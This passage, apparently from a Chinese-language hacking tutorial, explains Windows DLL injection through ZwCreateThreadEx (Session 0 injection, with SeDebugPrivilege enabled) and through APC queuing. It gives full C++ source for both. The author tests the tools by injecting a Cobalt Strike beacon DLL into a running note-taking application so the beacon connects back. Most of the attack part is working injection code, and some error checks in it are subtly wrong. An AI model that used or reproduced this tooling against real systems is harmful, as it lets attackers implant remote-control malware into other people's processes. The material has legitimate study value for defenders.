    __in DWORD DesiredAccess, //指定你要進行的操作類型
    __out PHANDLE TokenHandle //返回的訪問令牌指針
    );

    LookupPrivilegeValueA

    BOOL LookupPrivilegeValueA(
      LPCSTR lpSystemName, //要查看的系統(tǒng),本地系統(tǒng)直接用NULL
      LPCSTR lpName,    //指向一個以零結尾的字符串,指定特權的名稱
      PLUID  lpLuid     //用來接收所返回的制定特權名稱的信息
    );

    AdjustTokenPrivileges

    BOOL AdjustTokenPrivileges(
    HANDLE TokenHandle, //包含特權的句柄
    BOOL DisableAllPrivileges,//禁用所有權限標志
    PTOKEN_PRIVILEGES NewState,//新特權信息的指針(結構體)
    DWORD BufferLength, //緩沖數(shù)據(jù)大小,以字節(jié)為單位的PreviousState的緩存區(qū)(sizeof)
    PTOKEN_PRIVILEGES PreviousState,//接收被改變特權當前狀態(tài)的Buffer
    PDWORD ReturnLength //接收PreviousState緩存區(qū)要求的大小
    );

    實現(xiàn)原理

    ZwCreateThreadExCreateRemoteThread函數(shù)更為底層,CreateRemoteThread函數(shù)最終是通過調用ZwCreateThreadEx函數(shù)實現(xiàn)遠線程創(chuàng)建的。

    通過調用CreateRemoteThread函數(shù)創(chuàng)建遠線程的方式在內(nèi)核6.0(Windows VISTA、7、8等)以前是完全沒有問題的,但是在內(nèi)核6.0 以后引入了會話隔離機制。它在創(chuàng)建一個進程之后并不立即運行,而是先掛起進程,在查看要運行的進程所在的會話層之后再決定是否恢復進程運行。

    在Windows XP、Windows Server 2003,以及更老版本的Windows操作系統(tǒng)中,服務和應用程序使用相同的會話(Session)運行,而這個會話是由第一個登錄到控制臺的用戶啟動的。該會話就叫做Session 0,如下圖所示,在Windows Vista之前,Session 0不僅包含服務,也包含標準用戶應用程序。

    將服務和用戶應用程序一起在Session 0中運行會導致安全風險,因為服務會使用提升后的權限運行,而用戶應用程序使用用戶特權(大部分都是非管理員用戶)運行,這會使得惡意軟件以某個服務為攻擊目標,通過“劫持”該服務,達到提升自己權限級別的目的。

    從Windows Vista開始,只有服務可以托管到Session 0中,用戶應用程序和服務之間會被隔離,并需要運行在用戶登錄到系統(tǒng)時創(chuàng)建的后續(xù)會話中。例如第一個登錄的用戶創(chuàng)建 Session 1,第二個登錄的用戶創(chuàng)建Session 2,以此類推,如下圖所示。

    使用CreateRemoteThread注入失敗DLL失敗的關鍵在第七個參數(shù)CreateThreadFlags, 他會導致線程創(chuàng)建完成后一直掛起無法恢復進程運行,導致注入失敗。而想要注冊成功,把該參數(shù)的值改為0即可。

    實現(xiàn)過程

    在win10系統(tǒng)下如果我們要注入系統(tǒng)權限的exe,就需要使用到debug調試權限,所以先寫一個提權函數(shù)。

    // 提權函數(shù)
    BOOL EnableDebugPrivilege()
    {
        HANDLE hToken;
        BOOL fOk = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            TOKEN_PRIVILEGES tp;
            tp.PrivilegeCount = 1;
            LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
            fOk = (GetLastError() == ERROR_SUCCESS);
            CloseHandle(hToken);
        }
        return fOk;
    
    }

    在進程注入dll的過程中,是不能夠使用MessageBox的,系統(tǒng)程序不能夠顯示程序的窗體,所以這里編寫一個ShowError函數(shù)來獲取錯誤碼

    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBox(NULL, szError, "ERROR", MB_OK);
    }

    首先打開進程獲取句柄,使用到OpenProcess

    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

    然后是在注入的進程申請內(nèi)存地址,使用到VirtualAllocEx

    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

    再使用WriteProcessMemory寫入內(nèi)存

    WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)

    加載ntdll,獲取LoadLibraryA函數(shù)地址

    HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    
    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

    獲取ZwCreateThreadEx函數(shù)地址

    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");

    使用 ZwCreateThreadEx創(chuàng)建遠線程, 實現(xiàn) DLL 注入

    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);

    這里還有一點需要注意的是ZwCreateThreadExntdll.dll 中并沒有聲明,所以我們需要使用 GetProcAddressntdll.dll中獲取該函數(shù)的導出地址

    這里加上ZwCreateThreadEx的定義,因為64位、32位結構不同,所以都需要進行定義

    #ifdef _WIN64
        typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown);
    #else
        typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);

    完整代碼如下

    // session0Inject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結束。
    //
    
    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>
    
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBox(NULL, szError, "ERROR", MB_OK);
    }
    
    // 提權函數(shù)
    BOOL EnableDebugPrivilege()
    {
        HANDLE hToken;
        BOOL fOk = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            TOKEN_PRIVILEGES tp;
            tp.PrivilegeCount = 1;
            LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
            fOk = (GetLastError() == ERROR_SUCCESS);
            CloseHandle(hToken);
        }
        return fOk;
    
    }
    
    
    // 使用 ZwCreateThreadEx 實現(xiàn)遠線程注入
    BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
    {
        HANDLE hProcess = NULL;
        SIZE_T dwSize = 0;
        LPVOID pDllAddr = NULL;
        FARPROC pFuncProcAddr = NULL;
        HANDLE hRemoteThread = NULL;
        DWORD dwStatus = 0;
    
        EnableDebugPrivilege();
    
        // 打開注入進程,獲取進程句柄
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
        if (hProcess == NULL) 
        {
            printf("OpenProcess - Error!\n\n");
            return -1 ;
        }
        // 在注入的進程申請內(nèi)存地址
    
        dwSize = ::lstrlen(pszDllFileName) + 1;
        pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    
        if (NULL == pDllAddr)
        {
            ShowError("VirtualAllocEx - Error!\n\n");
            return FALSE;
        }
        //寫入內(nèi)存地址
    
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
        {
            ShowError("WriteProcessMemory - Error!\n\n");
            return FALSE;
        }
        //加載ntdll
        HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    
        if (NULL == hNtdllDll)
        {
            ShowError("LoadLirbary");
            return FALSE;
        }
        // 獲取LoadLibraryA函數(shù)地址
        pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    
        if (NULL == pFuncProcAddr)
        {
            ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
            return FALSE;
        }
    
    #ifdef _WIN64
        typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown);
    #else
        typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);
    #endif
    
        //獲取ZwCreateThreadEx函數(shù)地址
        typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
            return FALSE;
        }
        // 使用 ZwCreateThreadEx 創(chuàng)建遠線程, 實現(xiàn) DLL 注入
        dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("ZwCreateThreadEx - Error!\n\n");
            return FALSE;
        }
        // 關閉句柄
        ::CloseHandle(hProcess);
        ::FreeLibrary(hNtdllDll);
    
        return TRUE;
    }
    
    int main(int argc, char* argv[])
    {
    #ifdef _WIN64
        BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
    #else 
        BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
    #endif
        if (FALSE == bRet)
        {
            printf("Inject Dll Error!\n\n");
        }
        printf("Inject Dll OK!\n\n");
        return 0;
    }

    因為在dll注入的過程中是看不到messagebox的,所以這里我選擇cs注入進行測試,若注入成功即可上線

    首先生成一個32位的dll文件,這里跟位數(shù)有關,我選擇注入的是32位的進程,所以這里我選擇生成32位的dll

    得到路徑

    這里我選擇的是有道云筆記進行注入,查看一下pid

    然后把我們函數(shù)的pid改為有道云的pid

    實現(xiàn)效果如下所示

    APC注入

    APC,全稱為Asynchronous Procedure Call,即異步過程調用,是指函數(shù)在特定線程中被異步執(zhí)行,在操作系統(tǒng)中,APC是一種并發(fā)機制。

    這里去看一下msdn中異步過程調用的解釋如下

    首先第一個函數(shù)

    QueueUserApc: 函數(shù)作用,添加指定的異步函數(shù)調用(回調函數(shù))到執(zhí)行的線程的APC隊列中

    APCproc:   函數(shù)作用: 回調函數(shù)的寫法.

    往線程APC隊列添加APC,系統(tǒng)會產(chǎn)生一個軟中斷。在線程下一次被調度的時候,就會執(zhí)行APC函數(shù),APC有兩種形式,由系統(tǒng)產(chǎn)生的APC稱為內(nèi)核模式APC,由應用程序產(chǎn)生的APC被稱為用戶模式APC。這里介紹一下應用程序的APC,APC是往線程中插入一個回調函數(shù),但是用的APC調用這個回調函數(shù)是有條件的,如msdn所示

    核心函數(shù)

    QueueUserAPC

    DWORD QueueUserAPC(
    PAPCFUNCpfnAPC, // APC function
    HANDLEhThread, // handle to thread
    ULONG_PTRdwData // APC function parameter
    );

    QueueUserAPC 函數(shù)的第一個參數(shù)表示執(zhí)行函數(shù)的地址,當開始執(zhí)行該APC的時候,程序會跳轉到該函數(shù)地址處來執(zhí)行。第二個參數(shù)表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT 訪問權限。第三個參數(shù)表示傳遞給執(zhí)行函數(shù)的參數(shù),與遠線程注入類似,如果QueueUserAPC 的第一個參數(shù)為LoadLibraryA,第三個參數(shù)設置的是dll路徑即可完成dll注入。

    實現(xiàn)原理

    在 Windows系統(tǒng)中,每個線程都會維護一個線程 APC隊列,通過QucueUserAPC把一個APC 函數(shù)添加到指定線程的APC隊列中。每個線程都有自己的APC隊列,這個 APC隊列記錄了要求線程執(zhí)行的一些APC函數(shù)。Windows系統(tǒng)會發(fā)出一個軟中斷去執(zhí)行這些APC 函數(shù),對于用戶模式下的APC 隊列,當線程處在可警告狀態(tài)時才會執(zhí)行這些APC 函數(shù)。一個線程在內(nèi)部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函數(shù)把自己掛起時就是進入可警告狀態(tài),此時便會執(zhí)行APC隊列函數(shù)。

    通俗點來概括過程可分為以下幾步:

    1)當EXE里某個線程執(zhí)行到SleepEx()或者WaitForSingleObjectEx()時,系統(tǒng)就會產(chǎn)生一個軟中斷(或者是Messagebox彈窗的時候不點OK的時候也能注入)。
    2)當線程再次被喚醒時,此線程會首先執(zhí)行APC隊列中的被注冊的函數(shù)。
    3)利用QueueUserAPC()這個API可以在軟中斷時向線程的APC隊列插入一個函數(shù)指針,如果我們插入的是Loadlibrary()執(zhí)行函數(shù)的話,就能達到注入DLL的目的。

    但是想要使用apc注入也有以下兩點條件:

    1.必須是多線程環(huán)境下

    2.注入的程序必須會調用那些同步對象

    每一個進程的每一個線程都有自己的APC隊列,我們可以使用QueueUserAPC函數(shù)把一個APC函數(shù)壓入APC隊列中。當處于用戶模式的APC被壓入到線程APC隊列后,線程并不會立刻執(zhí)行壓入的APC函數(shù),而是要等到線程處于可通知狀態(tài)(alertable)才會執(zhí)行,即只有當一個線程內(nèi)部調用SleepEx等上面說到的幾個特定函數(shù)將自己處于掛起狀態(tài)時,才會執(zhí)行APC隊列函數(shù),執(zhí)行順序與普通隊列相同,先進先出(FIFO),在整個執(zhí)行過程中,線程并無任何異常舉動,不容易被察覺,但缺點是對于單線程程序一般不存在掛起狀態(tài),所以APC注入對于這類程序沒有明顯效果。

    實現(xiàn)過程

    這里的常規(guī)思路是編寫一個根據(jù)進程名獲取pid的函數(shù),然后根據(jù)PID獲取所有的線程ID,這里我就將兩個函數(shù)集合在一起,通過自己輸入PID來獲取指定進程的線程并寫入數(shù)組

    //列出指定進程的所有線程
    BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
    {
        // 申請空間
        DWORD dwThreadIdListLength = 0;
        DWORD dwThreadIdListMaxCount = 2000;
        LPDWORD pThreadIdList = NULL;
        HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
    
        pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (pThreadIdList == NULL)
        {
            return FALSE;
        }
    
        RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    
        THREADENTRY32 th32 = { 0 };
    
        // 拍攝快照
        hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
    
        if (hThreadSnap == INVALID_HANDLE_VALUE)
        {
            return FALSE;
        }
    
        // 結構的大小
        th32.dwSize = sizeof(THREADENTRY32);
    
        // 遍歷所有THREADENTRY32結構, 按順序填入數(shù)組
    
        BOOL bRet = Thread32First(hThreadSnap, &th32);
        while (bRet)
        {
            if (th32.th32OwnerProcessID == th32ProcessID)
            {
                if (dwThreadIdListLength >= dwThreadIdListMaxCount)
                {
                    break;
                }
                pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
            }
            bRet = Thread32Next(hThreadSnap, &th32);
        }
    
        *pThreadIdListLength = dwThreadIdListLength;
        *ppThreadIdList = pThreadIdList;
    
        return TRUE;
    }

    然后是apc注入的主函數(shù),首先使用VirtualAllocEx遠程申請內(nèi)存

    lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    然后使用WriteProcessMemory把dll路徑寫入內(nèi)存

    ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)

    再獲取LoadLibraryA的地址

    PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

    遍歷線程并插入APC,這里定義一個fail并進行判斷,如果QueueUserAPC返回的值為NULL則線程遍歷失敗,fail的值就+1

    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
        {
            // 打開線程
            HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
            if (hThread)
            {
                // 插入APC
                if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
                {
                    fail++;
                }
            }
        }

    然后在到主函數(shù),定義dll地址

    strcpy_s(wzDllFullPath, "C:\Users\61408\Desktop\artifact.dll");

    使用OpenProcess打開句柄

    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

    調用之前寫好的APCInject函數(shù)實現(xiàn)APC注入

    if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
        {
            printf("Failed to inject DLL\n");
            return FALSE;
        }

    完整代碼如下

    // APCInject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結束。
    //
    #include <iostream>
    #include <Windows.h>
    #include <TlHelp32.h>
    using namespace std;
    
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBox(NULL, szError, "ERROR", MB_OK);
    }
    
    //列出指定進程的所有線程
    BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
    {
        // 申請空間
        DWORD dwThreadIdListLength = 0;
        DWORD dwThreadIdListMaxCount = 2000;
        LPDWORD pThreadIdList = NULL;
        HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
    
        pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (pThreadIdList == NULL)
        {
            return FALSE;
        }
    
        RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    
        THREADENTRY32 th32 = { 0 };
    
        // 拍攝快照
        hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
    
        if (hThreadSnap == INVALID_HANDLE_VALUE)
        {
            return FALSE;
        }
    
        // 結構的大小
        th32.dwSize = sizeof(THREADENTRY32);
    
        //遍歷所有THREADENTRY32結構, 按順序填入數(shù)組
    
        BOOL bRet = Thread32First(hThreadSnap, &th32);
        while (bRet)
        {
            if (th32.th32OwnerProcessID == th32ProcessID)
            {
                if (dwThreadIdListLength >= dwThreadIdListMaxCount)
                {
                    break;
                }
                pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
            }
            bRet = Thread32Next(hThreadSnap, &th32);
        }
    
        *pThreadIdListLength = dwThreadIdListLength;
        *ppThreadIdList = pThreadIdList;
    
        return TRUE;
    }
    BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
    {
        // 申請內(nèi)存
    
        PVOID lpAddr = NULL;
        SIZE_T page_size = 4096;
    
        lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
        if (lpAddr == NULL)
        {
            ShowError("VirtualAllocEx - Error\n\n");
            VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
            CloseHandle(hProcess);
            return FALSE;
        }
        // 把Dll的路徑復制到內(nèi)存中
        if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
        {
            ShowError("WriteProcessMemory - Error\n\n");
            VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
            CloseHandle(hProcess);
            return FALSE;
        }
    
        // 獲得LoadLibraryA的地址
        PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    
        // 遍歷線程, 插入APC
        float fail = 0;
        for (int i = dwThreadIdListLength - 1; i >= 0; i--)
        {
            // 打開線程
            HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
            if (hThread)
            {
                // 插入APC
                if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
                {
                    fail++;
                }
                // 關閉線程句柄
                ::CloseHandle(hThread);
                hThread = NULL;
            }
        }
    
        printf("Total Thread: %d\n", dwThreadIdListLength);
        printf("Total Failed: %d\n", (int)fail);
    
        if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
        {
            printf("Success to Inject APC\n");
            return TRUE;
        }
        else
        {
            printf("Inject may be failed\n");
            return FALSE;
        }
    }
    int main()
    {
        ULONG32 ulProcessID = 0;
        printf("Input the Process ID:");
        cin >> ulProcessID;
        CHAR wzDllFullPath[MAX_PATH] = { 0 };
        LPDWORD pThreadIdList = NULL;
        DWORD dwThreadIdListLength = 0;
    
    #ifndef _WIN64
        strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
    #else // _WIN64
        strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
    #endif
        if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
        {
            printf("Can not list the threads\n");
            exit(0);
        }
        //打開句柄
        HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
    
        if (hProcess == NULL)
        {
            printf("Failed to open Process\n");
            return FALSE;
        }
    
        //注入
        if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
        {
            printf("Failed to inject DLL\n");
            return FALSE;
        }
        return 0;
    }

    之前說過我沒有使用進程名 -> pid的方式,而是直接采用手動輸入的方式,通過cin >> ulProcessID將接收到的參數(shù)賦給ulProcessID

    這里可以選擇寫一個MessageBox的dll,這里我直接用的是cs的dll,演示效果如下所示

    最后

    關注私我獲取【網(wǎng)絡安全學習資料·攻略

網(wǎng)站首頁   |    關于我們   |    公司新聞   |    產(chǎn)品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區(qū)    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有